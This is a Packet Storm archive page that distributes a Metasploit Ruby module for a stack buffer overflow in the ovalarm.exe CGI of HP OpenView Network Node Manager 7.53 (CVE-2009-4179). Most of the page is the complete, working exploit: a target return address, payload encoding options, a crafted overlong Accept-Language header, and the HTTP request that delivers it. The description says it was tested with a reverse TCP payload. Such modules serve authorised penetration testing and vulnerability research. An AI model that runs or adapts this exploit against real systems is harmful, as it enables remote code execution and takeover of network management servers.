what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow

HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow
Posted Jan 22, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits a stack overflow in HP OpenView Network Node Manager 7.53. By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute arbitrary code. This specific vulnerability is due to a call to "sprintf_new" in the "isWide" function within "ovalarm.exe". A stack buffer overflow occurs when processing an HTTP request that contains the following. 1. An "Accept-Language" header longer than 100 bytes 2. An "OVABverbose" URI variable set to "on", "true" or "1" The vulnerability is related to "_WebSession::GetWebLocale()" .. NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload.

tags | exploit, web, overflow, arbitrary, cgi
advisories | CVE-2009-4179
SHA-256 | e54d42cfbc8bbc738ef568c5e491af71d30811bb7fa5db456ba682b823955033

HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow

Change Mirror Download
##
# $Id: hp_nnm_ovalarm_lang.rb 8192 2010-01-22 05:52:53Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in HP OpenView Network Node Manager 7.53.
By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute
arbitrary code.

This specific vulnerability is due to a call to "sprintf_new" in the "isWide"
function within "ovalarm.exe". A stack buffer overflow occurs when processing an
HTTP request that contains the following.

1. An "Accept-Language" header longer than 100 bytes
2. An "OVABverbose" URI variable set to "on", "true" or "1"

The vulnerability is related to "_WebSession::GetWebLocale()" ..

NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8192 $',
'References' =>
[
[ 'CVE', '2009-4179' ],
[ 'OSVDB', '60930' ],
[ 'BID', '37347' ],
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-09-12' ],
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01950877' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => false,
'Payload' =>
{
'Space' => 650,
'BadChars' => (0..0x1f).to_a.pack('C*'),
'StackAdjustment' => -3500,
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ESP'
},
},
'Platform' => 'win',
'Targets' =>
[
[ 'HP OpenView Network Node Manager 7.53', { 'Ret' => 0x5a212a4a } ], # ov.dll
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 9 2009'))

register_options( [ Opt::RPORT(80) ], self.class )

end

def exploit

# sprintf_new(buf, "@@ isWide: comparing '%s' and '%s'", bigstr, dunno);
start = "@@ isWide: comparing '"

sploit = rand_text_alphanumeric(78)
sploit << [0xffffffff].pack('V') # for jle
sploit << [0xffffffff].pack('V') # increment me!
sploit << rand_text_alphanumeric(4)
sploit << [0x5a404058].pack('V') # ptr to nul byte
sploit << rand_text_alphanumeric(8)
sploit << [target.ret].pack('V') # ret
sploit << payload.encoded

print_status("Trying target #{target.name}...")

send_request_cgi({
'uri' => "/OvCgi/ovalarm.exe?OVABverbose=1",
'method' => "GET",
'headers' => { 'Accept-Language' => sploit }
}, 3)

handler

end

end

=begin
1:014> s -b 0x5a000000 0x5a06a000 ff e4
5a01d78d ff e4 00 00 83 c4 08 85-c0 75 14 68 18 2f 04 5a .........u.h./.Z
1:014> u 0x5a01d78d L1
ov!OVHelpAPI+0x18d:
5a01d78d ffe4 jmp esp <- jmp esp for 7.53, will update in a sec.
=end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    41 Files
  • 30
    Aug 30th
    13 Files
  • 31
    Aug 31st
    467 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close